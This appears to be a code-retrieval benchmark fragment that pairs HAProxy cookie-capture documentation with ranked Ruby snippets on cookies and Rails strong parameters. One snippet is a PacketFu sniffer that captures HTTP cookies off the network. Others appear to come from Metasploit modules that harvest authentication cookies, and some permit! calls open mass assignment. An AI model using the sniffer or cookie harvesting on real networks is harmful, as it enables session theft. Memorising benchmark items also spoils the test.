"2aa7b93e192af3519f13e9c65843a6ed", "score": "0.6010138", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6007906", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60071784", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60071784", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60054505", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6003117", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.60030925", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.60023075", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.60023075", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.60006577", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.60006577", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.600046", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.5995037", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.59949535", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5994494", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.5991782", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.5991433", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
9fe1167623ceb0f89cff08ef015adba1
capture cookie len Capture and log a cookie in the request and in the response. May be used in sections : defaults | frontend | listen | backend no | yes | yes | no Arguments : is the beginning of the name of the cookie to capture. In order to match the exact name, simply suffix the name with an equal sign ('='). The full name will appear in the logs, which is useful with application servers which adjust both the cookie name and value (eg: ASPSESSIONXXXXX). is the maximum number of characters to report in the logs, which include the cookie name, the equal sign and the value, all in the standard "name=value" form. The string will be truncated on the right if it exceeds . Only the first cookie is captured. Both the "cookie" request headers and the "setcookie" response headers are monitored. This is particularly useful to check for application bugs causing session crossing or stealing between users, because generally the user's cookies can only change on a login page. When the cookie was not presented by the client, the associated log column will report "". When a request does not cause a cookie to be assigned by the server, a "" is reported in the response column. The capture is performed in the frontend only because it is necessary that the log format does not change for a given frontend depending on the backends. This may change in the future. Note that there can be only one "capture cookie" statement in a frontend. The maximum capture length is configured in the sources by default to 64 characters. It is not possible to specify a capture in a "defaults" section. Example: capture cookie ASPSESSION len 32 See also : "capture request header", "capture response header" as well as section 8 about logging.
[ { "docid": "b96810bd451fea90f287029501efee03", "score": "0.6477185", "text": "def capture_cookie(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"capture cookie \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" } ]
[ { "docid": "c87093bc84e91740ce7d7d74a4d15793", "score": "0.56386775", "text": "def cookie_hash_length\n super\n end", "title": "" }, { "docid": "f546bd37337c5f43812a06f024eddbd2", "score": "0.5450616", "text": "def inspect\n \"#<CGI::Cookie: #{self.to_s.inspect}>\"\n end", "title": "" }, { "docid": "ffe32a5c28fc9ddeb730a53952faaa6b", "score": "0.5420307", "text": "def collect_cookies_from_response; end", "title": "" }, { "docid": "80b1f1e61bedc69d04e11cc8b9cc6f04", "score": "0.541283", "text": "def show_cookies\n if request.post? || params[:who] == 'peter'\n ls = cookies[LIFESIZE_COOKIE]\n if ls\n @cookie_value = JSON.pretty_generate(JSON.parse(Crypt.decrypt(ls)))\n else\n @cookie_value = \"lifesize cookie not set\"\n end\n @screen_cookie_value = cookies[SCREEN_COOKIE] ? cookies[SCREEN_COOKIE] : \"Screen cookie not set\"\n render :show_cookies\n else\n render :noaccess\n end\n end", "title": "" }, { "docid": "54bcb8c97ccb1fd0144e7557aeb51007", "score": "0.5335003", "text": "def cookie_name\n \"reviewer_session_#{study.accession}\".to_sym\n end", "title": "" }, { "docid": "fb68ba48d6ea60575ae8bdaee6a65186", "score": "0.52834153", "text": "def cookie_value; end", "title": "" }, { "docid": "90dfd94bea15b8276a156727656bff46", "score": "0.52492344", "text": "def cookie_grabber\n puts \"Waiting for cookies............:\"\n iface = @interface\n capture_session = PacketFu::Capture.new(:iface => iface, :start => true, :promisc => true,\n\t:filter => \"tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)\")\n\n capture_session.stream.each { |packet|\n if packet =~ /ookie/\n puts \"cookie found!\" \n pkt = Packet.parse packet\n\tpacket_info = [pkt.ip_saddr, pkt.ip_daddr]\n\tsrc_ip = \"%s\" % packet_info\n\tdst_ip = \"%s\" % packet_info\n puts_verbose(packet, src_ip, dst_ip)\n end\n }\nend", "title": "" }, { "docid": "b974240776ea5d1d78c625d87befc3bc", "score": "0.52106076", "text": "def name\n @cookie.split(\"=\").first\n end", "title": "" }, { "docid": "1b8ae6b713055f2f509ff4b24ff56e29", "score": "0.5188208", "text": "def cookie_info\n authenticated_crowd_call(:get_cookie_info)\n end", "title": "" }, { "docid": "453f4cba3461d72e4a1c831aafea8cc2", "score": "0.51853305", "text": "def extract_cookie(cookie)\n <<-VCL\nif(cookie.isset(\"#{cookie}\")) {\n set req.http.X-COOKIE-#{cookie} = cookie.get(\"#{cookie}\");\n}\n VCL\nend", "title": "" }, { "docid": "577e5090852d8069c335c208e879ec84", "score": "0.51427907", "text": "def cookie_named(name); end", "title": "" }, { "docid": "f8fc93f4b31ec64db9404dcaf762c6d1", "score": "0.51293844", "text": "def cookie(cookie)\n raise \"No HTTP-session attached to this thread.\" if !_httpsession\n raise \"HTTP-session not active.\" if !_httpsession.resp\n raise \"Not a hash: '#{cookie.class.name}', '#{cookie}'.\" unless cookie.is_a?(Hash)\n _httpsession.resp.cookie(cookie)\n return nil\n end", "title": "" }, { "docid": "b8e1f57bc10a8c6410400b8d81208ddd", "score": "0.5095516", "text": "def set_cookie_hash_length(opts)\n opts = check_params(opts,[:lengths])\n super(opts)\n end", "title": "" }, { "docid": "1f9fd3ff77df8e9abfc440930802a2a2", "score": "0.5073049", "text": "def cookie_name\n super\n end", "title": "" }, { "docid": "ed3eef83770d559ec1695f2f0321e9b9", "score": "0.50607663", "text": "def get_cookie_tracking\n dputs __method__.to_s\n track_req = setup_http_request($tracking, @cookie)\n res = @http.request(track_req)\n get_cookie(res)\n end", "title": "" }, { "docid": "d33e2ba7aa1fb4a4efd1635db93b112b", "score": "0.5041523", "text": "def log_request\n \"#{request.ip} - #{session[:login] ? session[:login].name : '-'} [#{Time.now.strftime('%d/%m/%Y:%H:%M:%S %z')}] \\\"#{request.request_method} #{request.path} HTTP\\\" #{response.status} #{response.content_length} #{timer.stop(request.object_id).round(3)}\"\n end", "title": "" }, { "docid": "afc547285311ab331327f3977d3dc58b", "score": "0.50372756", "text": "def get_cookie\n self.headers[\"Cookie\"]\n end", "title": "" }, { "docid": "3ddad30d2f507a2213ca4ee119a59117", "score": "0.4989865", "text": "def to_cookie\n unless self.empty?\n data = self.serialize\n value = Merb::Parse.escape \"#{data}--#{generate_digest(data)}\"\n if value.size > MAX\n msg = \"Cookies have limit of 4K. Session contents: #{data.inspect}\"\n Merb.logger.error!(msg)\n raise CookieOverflow, msg\n end\n value\n end\n end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "f693eedba2f45e33c44208eb23588781", "score": "0.49714938", "text": "def cookies; end", "title": "" }, { "docid": "71961915f6d88732c360ec7a4947ad17", "score": "0.4966258", "text": "def retrieve_cookie(response, cookie_name)\n value = response.headers['set-cookie'].scan(/#{cookie_name}=[a-zA-Z0-9]+/).first\n value = value[cookie_name.length+1..-1] if value\n end", "title": "" }, { "docid": "cc4caf2a9ca81417550b55da29bb109d", "score": "0.4964603", "text": "def name_and_value\n @cookie.split(\";\").first\n end", "title": "" }, { "docid": "5a4a3b63e9b6872012e4d5473fb80f1d", "score": "0.4940044", "text": "def cookie_path=(_arg0); end", "title": "" }, { "docid": "bec5af628ce00ca65fb644ca1aa36362", "score": "0.4931198", "text": "def cookies\n rack_request.cookies\n end", "title": "" }, { "docid": "02ed18da6554eddf7e53890c4aaa5576", "score": "0.4916426", "text": "def cookie_content\n @cookie_content ||= parse_cookie\n end", "title": "" }, { "docid": "02ed18da6554eddf7e53890c4aaa5576", "score": "0.4916426", "text": "def cookie_content\n @cookie_content ||= parse_cookie\n end", "title": "" }, { "docid": "2dfedad95e6894c95b3095c05ea37536", "score": "0.49112692", "text": "def cookie(name, value = nil, duration = 15)\n if value\n response.set_cookie name, { \n :value => value,\n :expires => Time.now + (60 * duration),\n :path => \"/\",\n :httponly => true,\n :secure => production?\n }\n else\n request.cookies[name]\n end\n end", "title": "" }, { "docid": "678469bf8a8f301cb94937972cf27c93", "score": "0.49063906", "text": "def log_request_info(env, req_id)\n query_string = \"?#{env.url.query}\" if env.url.query\n size = env.body.respond_to?(:size) ? env.body.size : env.request_headers['Content-Length']\n info { \"{#{req_id}} [OUT] #{env.method} #{env.url.path}#{query_string} (#{size || 0})\" }\n end", "title": "" }, { "docid": "fe90b12ccc38bbfccbe13a3f6448b808", "score": "0.48990262", "text": "def getCookie()\n return @cookie\n\tend", "title": "" }, { "docid": "279621b651b497fd642dcee6464e66d1", "score": "0.48905304", "text": "def extract_session_id(env)\n request = Rack::Request.new(env)\n sid = request.cookies[@key]\n sid ||= request.params[@key] unless @cookie_only\n sid\n end", "title": "" }, { "docid": "376c4fef1dc69110453eea6156674331", "score": "0.48827094", "text": "def check_cookie(response)\n\t\t\t if response.get_fields('set-cookie')\n \t\t\tset_cookie(response)\n \t\t\tprint \"new cookie: \"\n \t\t\tputs response.get_fields('set-cookie')\n \t\t\tputs @cookies\n \t\tend\n\t\tend", "title": "" }, { "docid": "d969cabc88745db24b5ec0a0a0d15fac", "score": "0.48806033", "text": "def sso_logging_info\n {\n sso_cookies_enabled: Settings.sso.cookie_enabled,\n sso_cookies_signout_enabled: Settings.sso.cookie_signout_enabled,\n sso_cookie_name: Settings.sso.cookie_name,\n sso_cookie_contents: sso_cookie_content,\n request_host: request.host\n }\n end", "title": "" }, { "docid": "a5df27b078987cb804d137c3d9206f61", "score": "0.4879801", "text": "def retrieve_tag(cli, request)\n cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)\n tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first\n\n if tag.blank?\n # Browser probably doesn't allow cookies, plan B :-/\n vprint_status(\"No cookie received for #{cli.peerhost}, resorting to headers hash.\")\n ip = cli.peerhost\n os = request.headers['User-Agent']\n tag = Rex::Text.md5(\"#{ip}#{os}\")\n else\n vprint_status(\"Received cookie '#{tag}' from #{cli.peerhost}\")\n end\n\n tag\n end", "title": "" }, { "docid": "612b38d46dd5e319253bf2f34641c122", "score": "0.48786286", "text": "def get_cookie\n cookies[GeventAnalysis::Application::CONSTS[:cookie_name]]\n end", "title": "" }, { "docid": "64e17bbd898cd87a1327bf07649b9f2b", "score": "0.4856535", "text": "def raw_cookie\n env_table[\"HTTP_COOKIE\"]\n end", "title": "" }, { "docid": "11537fc563ddccf87ec7b7e77cf1013b", "score": "0.48468554", "text": "def http_cookie\n http.cookie\n end", "title": "" }, { "docid": "525ad988ff902cfb7fd8f9eea90c29d5", "score": "0.4845478", "text": "def passive\n m=[]\n m << {:name=>\"CAKEPHP Cookie\" } if @headers[\"set-cookie\"] =~ /CAKEPHP=.*/\n m\nend", "title": "" }, { "docid": "6f389689e96895a9995db5040a6e4b27", "score": "0.48281536", "text": "def initialize(cookie = 'cookie_session', secret = nil)\n @cookie = cookie\n @secret = secret\n @logger = Logger.new(STDOUT, level: Logger::INFO, progname: 'CookieSession')\n end", "title": "" }, { "docid": "1b755ddcdc01963a6f8548dcde8bc051", "score": "0.48268017", "text": "def cookies\n @cookies ||= (self.headers[:set_cookie] || \"\").split('; ').inject({}) do |out, raw_c|\n key, val = raw_c.split('=')\n unless %w(expires domain path secure).member?(key)\n out[key] = val\n end\n out\n end\n end", "title": "" }, { "docid": "794c2ef0cbf42fd3c27349d459937fc4", "score": "0.48086885", "text": "def vroute_cookie\n route = @stream.config[:http].vroute\n route ? \"Set-Cookie: vroute=#{route}; path=/; HttpOnly\" : nil\n end", "title": "" }, { "docid": "183c09bdddb2b2d7ba7433d38651c559", "score": "0.47960448", "text": "def log_visit\n if !session[:logged_visit] && session[:logged_visit]=true\n behavior = behavior_cookie\n\n if !defined?(behavior[\"visits\"]) || !(behavior[\"visits\"].is_a? Integer)\n behavior[\"visits\"] = 1\n else\n behavior[\"visits\"] += 1\n end\n\n cookies.permanent[:behavior] = behavior.to_json\n end\n end", "title": "" }, { "docid": "48a64531a368473acebada7aeedb2875", "score": "0.47957107", "text": "def parse_cookie(cookie)\n pattern = /NSC_([[:print:]\\-\\_\\.]*)=[0-9a-f]{8}([0-9a-f]{8}).*([0-9a-f]{4})$/\n parsed = cookie.scan(pattern) \n servicename, serverip, serverport = parsed.flatten unless parsed.nil?\n [servicename, serverip.hex, serverport.hex]\nrescue \n puts \"[!] Couldn't parse cookie: #{cookie}\"\n exit!\nend", "title": "" }, { "docid": "c59e44d03b1d4ce0abfbde6d8a7b579f", "score": "0.4793017", "text": "def parse_record(line)\n case line\n when RE_HTTPONLY_PREFIX\n httponly = true\n line = $'\n when /\\A#/\n return nil\n else\n httponly = false\n end\n\n domain,\n s_for_domain,\t# Whether this cookie is for domain\n path,\t\t# Path for which the cookie is relevant\n s_secure,\t\t# Requires a secure connection\n s_expires,\t\t# Time the cookie expires (Unix epoch time)\n name, value = line.split(\"\\t\", 7)\n return nil if value.nil?\n\n value.chomp!\n\n if (expires_seconds = s_expires.to_i).nonzero?\n expires = Time.at(expires_seconds)\n return nil if expires < Time.now\n end\n\n HTTP::Cookie.new(name, value,\n :domain => domain,\n :for_domain => s_for_domain == True,\n :path => path,\n :secure => s_secure == True,\n :httponly => httponly,\n :expires => expires)\n end", "title": "" }, { "docid": "2bcd6edbb1f8c9df5cd04b3af1e5423a", "score": "0.47913674", "text": "def _roda_after_90__common_logger(result)\n return unless result && result[0] && result[1]\n\n env = @_request.env\n\n qs = env[\"QUERY_STRING\"]\n query_string = \"?#{ qs }\" unless qs.empty?\n\n length = result[1][\"Content-Length\"]\n length = \"\" if length == \"0\"\n\n LOGGER.request \"#{ env['HTTP_X_FORWARDED_FOR'] || env['REMOTE_ADDR'] || '-' } - \\\"#{ env['REQUEST_METHOD'] } #{ env['SCRIPT_NAME'] }#{ env['PATH_INFO'] }#{ query_string } #{ env['HTTP_VERSION'] }\\\" #{ result[0] } #{ length }\\n\"\n end", "title": "" }, { "docid": "6144ba45a4039decfab1dec5b1f7ff4e", "score": "0.47862178", "text": "def cookie_to_record(cookie)\n cookie.instance_eval {\n [\n @httponly ? HTTPONLY_PREFIX + dot_domain : dot_domain,\n @for_domain ? True : False,\n @path,\n @secure ? True : False,\n expires.to_i,\n @name,\n @value\n ]\n }.join(\"\\t\") << @linefeed\n end", "title": "" }, { "docid": "9e259f9a522a8e503f3b684f27530496", "score": "0.4782796", "text": "def record_visit\n unless (visit_key = cookies[:id])\n visit_key = SecureRandom.urlsafe_base64(16)\n cookies.permanent[:id] = visit_key\n end\n VisitCounter.record(visit_key)\n end", "title": "" }, { "docid": "ab8636466b58564220bd0096701a0f99", "score": "0.47815868", "text": "def parse_cookie(line)\n cookie = nil\n if line =~ /^Set-Cookie\\d?: .+=.+/\n cookie = {}\n line.chomp!\n cookie[:line] = line\n # Remove the Set-Cookie portion of the line\n setcookie, rest = line.split(' ', 2)\n # Then break off the name and value from the cookie attributes\n namevalue, rawattributes = rest.split('; ', 2)\n name, value = namevalue.split('=', 2)\n cookie[:name] = name\n cookie[:value] = value\n attributes = {}\n rawattributes.split('; ').each do |attribute|\n attrname, attrvalue = attribute.split('=', 2)\n # The Perl cookie jar uses a non-standard syntax, which seems to\n # include wrapping some fields (particularly path) in quotes. The\n # Perl nVentory library uses the Perl cookie jar code so we need to be\n # compatible with it.\n if attrvalue =~ /^\".*\"$/\n attrvalue.sub!(/^\"/, '')\n attrvalue.sub!(/\"$/, '')\n end\n # rfc2965, 3.2.2:\n # If an attribute appears more than once in a cookie, the client\n # SHALL use only the value associated with the first appearance of\n # the attribute; a client MUST ignore values after the first.\n if !attributes[attrname]\n attributes[attrname] = attrvalue\n end\n end\n cookie[:attributes] = attributes\n else\n # Invalid lines in the form of comments and blank lines are to be\n # expected when we're called by read_cookiefile, so don't treat this as\n # a big deal.\n puts \"parse_cookie passed invalid line: #{line}\" if (@debug)\n end\n cookie\n end", "title": "" }, { "docid": "6c23e08343967408e17676d0a8d45c01", "score": "0.4774189", "text": "def cookie\n @cookie ||= Coca::AuthCookie.new(cookies, scope)\n end", "title": "" }, { "docid": "1653adefe14a7065374ac56c5ad2ff8a", "score": "0.4772529", "text": "def add_set_cookie *ck\n\t\t\tif ck.length > 0\n\t\t\t\th = (@headers[\"Set-cookie\"] ||= [])\n\t\t\t\tck.each {|c| h << c}\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "c5fbb9bf98f0881428e78df460624d0c", "score": "0.47723788", "text": "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "title": "" }, { "docid": "c5fbb9bf98f0881428e78df460624d0c", "score": "0.47723788", "text": "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "title": "" }, { "docid": "451ed21d6b0ac43cc43b8341ecaedde9", "score": "0.47611648", "text": "def get_cookie_header(request_uri, opts = {})\n cookies = get_cookies request_uri, opts\n ver = [[], []]\n cookies.each do |cookie|\n ver[cookie.version] << cookie\n end\n if ver[1].empty?\n # can do a netscape-style cookie header, relish the opportunity\n cookies.map(&:to_s).join ';'\n else\n # build a RFC 2965-style cookie header. Split the cookies into\n # version 0 and 1 groups so that we can reuse the '$Version' header\n result = ''\n unless ver[0].empty?\n result << '$Version=0;'\n result << ver[0].map do |cookie|\n (cookie.to_s 1, false)\n end.join(';')\n # separate version 0 and 1 with a comma\n result << ','\n end\n result << '$Version=1;'\n ver[1].map do |cookie|\n result << (cookie.to_s 1, false)\n end\n result\n end\n end", "title": "" }, { "docid": "b46f3815184e7dcc4eb73147e25162da", "score": "0.47595784", "text": "def cookie_hash\n\t\t\t{ 'Cookie' => @cookies.to_s }\n\t\tend", "title": "" }, { "docid": "964fb65d2e67a5d35fc83245a3c84433", "score": "0.47570205", "text": "def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end", "title": "" }, { "docid": "66d70ec9463b552b5e50a007da3fcd30", "score": "0.4747646", "text": "def get_session_cookie(req)\n return req.cookies[SESSION_COOKIE]\n end", "title": "" }, { "docid": "d12236217f988ba6d75c0d2e72f99912", "score": "0.47456205", "text": "def get_cookie(my_env,key)\r\n cookies = Hash.new\r\n if my_env.has_key?('rack.request.cookie_hash')\r\n if my_env['rack.request.cookie_hash'].has_key?(key)\r\n return(my_env['rack.request.cookie_hash'][key])\r\n else\r\n return(nil)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a04e4f532a4e05d0408072bafa38aed3", "score": "0.47442672", "text": "def cookies(cookies); end", "title": "" }, { "docid": "3d8b121930ed1e4024901d0fdf3fcfd9", "score": "0.47347966", "text": "def captures; end", "title": "" }, { "docid": "7ab33f40609e5279379b8982f1d7b3c1", "score": "0.4706392", "text": "def passive(target)\n m = []\n m << { name: \"exp_last_visit cookie\" } if target.headers[\"set-cookie\"] =~ /exp_last_visit=/\n m\n end", "title": "" }, { "docid": "58ec6ca7c6cb7928c94031232b47504d", "score": "0.46966237", "text": "def initialize(req, key = APP_COOKIE)\n @cookie_key = key\n if req.cookies[cookie_key]\n @cookie = JSON.parse(req.cookies[cookie_key])\n else\n @cookie = {}\n end\n end", "title": "" }, { "docid": "4cbb3abd451302e81602c879ba4bbc53", "score": "0.46946424", "text": "def cookie(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"cookie \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "3a92e10859284aee3c549ca87be1e918", "score": "0.46877488", "text": "def valid_cookie?\n cookie = @handshake.headers['Cookie']\n puts \"Cookie: #{cookie}\"\n return false unless cookie\n end", "title": "" }, { "docid": "aa4f683712e6befe7cb651cb133f8177", "score": "0.46800745", "text": "def render_cookies\n @cookies.keys.sort.each do |flavor|\n count = @cookies[flavor]\n\n Cookies::CookieUtils.instance.\n render_cookies(flavor, count)\n end\n end", "title": "" }, { "docid": "3fec4daff0e49d22f12842852bfb9004", "score": "0.4676924", "text": "def cookies\n @request.cookies\n end", "title": "" }, { "docid": "6fdeef3462ddc903e9bb322efbe4b727", "score": "0.46748257", "text": "def cookies\n test_cookies\n end", "title": "" }, { "docid": "b5daa70ccb0f1371241becc2838a7116", "score": "0.46718246", "text": "def cookie_path; end", "title": "" }, { "docid": "534a97da8d20fbeb4503a24d0fac545c", "score": "0.46694717", "text": "def list_all_received_cookies\n cookie_count_hash = {}\n self.owned_cookies.each do |owned_cookie|\n cookie_count_hash[owned_cookie.cookie_recipe_id] = owned_cookie.received_count\n end\n cookie_count_hash\n end", "title": "" }, { "docid": "d2812bdb92657a07e940a951dc423e27", "score": "0.4662496", "text": "def get_useful_cookies res\r\n set_cookie = res.headers['Set-Cookie']\r\n # Parse the Set-Cookie header\r\n parsed_cookies = CGI::Cookie.parse(set_cookie)\r\n\r\n # Clean up the cookies we got by:\r\n # * Dropping Path and Expires from the parsed cookies -- we don't care\r\n # * Dropping empty (reset) cookies\r\n %w(Path Expires).each do |ignore|\r\n parsed_cookies.delete ignore\r\n parsed_cookies.delete ignore.downcase\r\n end\r\n parsed_cookies.keys.each do |name|\r\n parsed_cookies[name].reject! { |value| value == '\"\"' }\r\n end\r\n parsed_cookies.reject! { |name,values| values.empty? }\r\n\r\n # the cookies always seem to start with CFAUTHORIZATION_, but\r\n # give the module the ability to log what it got in the event\r\n # that this stops becoming an OK assumption\r\n unless parsed_cookies.empty?\r\n vprint_status \"Got the following cookies after authenticating: #{parsed_cookies}\"\r\n end\r\n cookie_pattern = /^CF/\r\n useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }\r\n if useful_cookies.empty?\r\n vprint_status \"No #{cookie_pattern} cookies found\"\r\n else\r\n vprint_status \"The following cookies could be used for future authentication: #{useful_cookies}\"\r\n end\r\n useful_cookies\r\n end", "title": "" }, { "docid": "c1ee7a3f70329f1789e9ad09db94042a", "score": "0.46564093", "text": "def read_cookie\n unless @data.nil?\n updated = marshal(@data)\n raise CookieOverflow if updated.size > MAX\n updated\n end\n end", "title": "" }, { "docid": "5c1a75c26f78028ae8f0445993dc6695", "score": "0.46286604", "text": "def cookie_hash_offset\n super\n end", "title": "" }, { "docid": "4a36b64e573d407ba3542adaaa837c29", "score": "0.46285698", "text": "def auth_cookie\n cookies[:auth]\n end", "title": "" }, { "docid": "9058f708ae6760c2e7c5f3a816a3497a", "score": "0.46271393", "text": "def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end", "title": "" }, { "docid": "2760c8269972931fdb28e699181131fc", "score": "0.46260726", "text": "def cookie=(val)\n @xmlrpc.cookie = val\n end", "title": "" }, { "docid": "d26d2eb8680ff413cf902538c84b5819", "score": "0.46250826", "text": "def eat_milk_and_cookies(cookie_type)\n puts \"That was a good #{cookie_type} cookie!\"\n end", "title": "" }, { "docid": "9a996a0f466fda1af986b4a05bddef01", "score": "0.4624716", "text": "def get_cookie(data)\n if data['set-cookie']\n t = []\n data['Set-Cookie'].split(\", \").map{|c|\n tmp = c.scan(/([a-zA-Z0-9_\\-\\.]*=[^;]*)/).flatten\n tmp.delete_if{|cc| cc.downcase.include?(\"path\")}\n tmp.delete_if{|cc| cc.downcase.include?(\"expires\")}\n tmp.delete_if{|cc| cc.downcase.include?(\"domain\")}\n t << tmp\n }\n if t.length == 1\n @cookie = @cookie + t.join(\"; \")\n else\n @cookie = t.join(\"; \")\n end\n end\n end", "title": "" }, { "docid": "7137a0140bcd4429e726cf6b7fedd9da", "score": "0.46198216", "text": "def captures\n end", "title": "" }, { "docid": "5d1c85d20b257f451386302c03b69126", "score": "0.46043706", "text": "def fortune_cookie; end", "title": "" }, { "docid": "0086d16cce71417eaa3a0c792b3e9fc9", "score": "0.46018794", "text": "def cookies\n request.cookies\n end", "title": "" }, { "docid": "28df813dcd54f0d350fb050a647b86f8", "score": "0.4598256", "text": "def hideCookie(cookie)\n hcookie = cookie.to_s.split(/; */).map{ |c|\n if c =~ /(__RequestVerificationToken|gspkauth|ASP.NET_SessionId)=([\\w-]{5})([\\w-]+)([\\w-]{5})/\n \"#{$1}=#{$2}[#{$3.length}]#{$4}\"\n else\n c\n end\n }.compact.join(\"; \")\n return hcookie\n end", "title": "" }, { "docid": "464bac6abd06fac7f9fe0fb92967e91b", "score": "0.45916378", "text": "def initialize (name, value = nil, maxage = nil, path = nil, domain = nil, secure = false)\n\t\t# {{{\n\t\t# HTTP headers (Cookies are a HTTP header) can only set, while no content\n\t\t# is send. So an exception will be raised, when @@allowed is set to false\n\t\t# and a new cookie has set.\n\t\tunless defined?(@@allowed)\n\t\t\t@@allowed = true\n\t\tend\n\t\tunless @@allowed\n\t\t\traise \"You can't set cookies after the HTTP headers are send.\"\n\t\tend\n\n\t\tunless defined?(@@list)\n\t\t\t@@list = []\n\t\tend\n\t\t@@list += [self]\n\n\t\tunless defined?(@@type)\n\t\t\t@@type = \"netscape\"\n\t\tend\n\n\t\tunless name.class == String\n\t\t\traise TypeError, \"The name of a cookie must be a string\", caller\n\t\tend\n\t\tif value.class.superclass == Integer || value.class == Float\n\t\t\tvalue = value.to_s\n\t\telsif value.class != String && value != nil\n\t\t\traise TypeError, \"The value of a cookie must be a string, integer, float or nil\", caller\n\t\tend\n\t\tif maxage.class == Time\n\t\t\tmaxage = maxage - Time.now\n\t\telsif !maxage.class.superclass == Integer || !maxage == nil\n\t\t\traise TypeError, \"The maxage date of a cookie must be an Integer or Time object or nil.\", caller\n\t\tend\n\t\tunless path.class == String || path == nil\n\t\t\traise TypeError, \"The path of a cookie must be nil or a string\", caller\n\t\tend\n\t\tunless domain.class == String || domain == nil\n\t\t\traise TypeError, \"The value of a cookie must be nil or a string\", caller\n\t\tend\n\t\tunless secure == true || secure == false\n\t\t\traise TypeError, \"The secure field of a cookie must be true or false\", caller\n\t\tend\n\n\t\t@name, @value, @maxage, @path, @domain, @secure = name, value, maxage, path, domain, secure\n\t\t@comment = nil\n\t\t# }}}\n\tend", "title": "" }, { "docid": "d416a2ad46598081bcd8d097736e2b17", "score": "0.45893082", "text": "def cookies\n request.cookies\n end", "title": "" }, { "docid": "b70ac2e5bed2fd7bb013611504e74258", "score": "0.45876738", "text": "def cookies\n request.cookies\n end", "title": "" }, { "docid": "8ddc42d80f5824ba132a1d1c34b67e25", "score": "0.4587268", "text": "def serialize_into_cookie(record); end", "title": "" }, { "docid": "6daccfa1bd74c2b0a1372ca7820dbcb3", "score": "0.4572719", "text": "def session_cookie_value\n 